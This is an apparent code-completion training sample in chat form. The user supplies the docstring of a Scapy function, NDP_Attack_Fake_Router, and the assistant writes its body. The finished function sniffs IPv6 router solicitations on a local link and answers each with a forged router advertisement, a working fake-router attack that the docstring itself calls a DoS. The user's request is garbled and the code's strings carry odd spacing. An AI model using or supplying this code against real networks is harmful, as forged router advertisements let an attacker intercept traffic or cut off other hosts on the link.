human
Complete the below
def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, ip_src_filter=None):

    ''''The purpose of this function is to send provided RA message at layer 2
    (i.e. providing a packet starting with IPv6 will not work) in response
    to received RS messages. In the end, the function is a simple wrapper
    around sendp() that monitor the link for RS messages.
    It is probably better explained with an example:
    >>> ra  = Ether()/IPv6()/ICMPv6ND_RA()
    >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64)
    >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64)
    >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55")
    >>> NDP_Attack_Fake_Router(ra, iface="eth0")
    Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573
    Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae
    Following arguments can be used to change the behavior:
    ra: the RA message to send in response to received RS message.
    iface: a specific interface (e.g. "eth0") of the system on which the
    DoS should be launched. If none is provided, conf.iface is
    used.
    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
    Only RS messages received from this source will trigger a reply.
    Note that no changes to provided RA is done which imply that if
    you intend to target only the source of the RS using this option,
    you will have to set the Ethernet destination address to the same
    value in your RA.
    The default value for this parameter is None: no filtering on the
    source of RS is done.
    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
    on. Only RS messages received from this source address will trigger
    replies. Same comment as for previous argument apply: if you use
    the option, you will probably want to set a specific Ethernet
    destination address in the RA.'
    '''

=====
Can you provide a the Python code you requested?
assistant
#Here is the Python code you requested.
    def is_request(req, mac_src_filter, ip_src_filter):
        '\n                                Check    if    packet    req    is    a    request\n                                '
        if (not ((Ether in req) and (IPv6 in req) and (ICMPv6ND_RS in req))):
            return 0
        mac_src = req[Ether].src
        if (mac_src_filter and (mac_src != mac_src_filter)):
            return 0
        ip_src = req[IPv6].src
        if (ip_src_filter and (ip_src != ip_src_filter)):
            return 0
        return 1
    def ra_reply_callback(req, iface):
        '\n                                Callback    that    sends    an    RA    in    reply    to    an    RS\n                                '
        src = req[IPv6].src
        sendp(ra, iface=iface, verbose=0)
        print(('Fake    RA    sent    in    response    to    RS    from    %s' % src))
    if (not iface):
        iface = conf.iface
    sniff_filter = 'icmp6'
    sniff(store=0, filter=sniff_filter, lfilter=(lambda x: is_request(x, mac_src_filter, ip_src_filter)), prn=(lambda x: ra_reply_callback(x, iface)), iface=iface)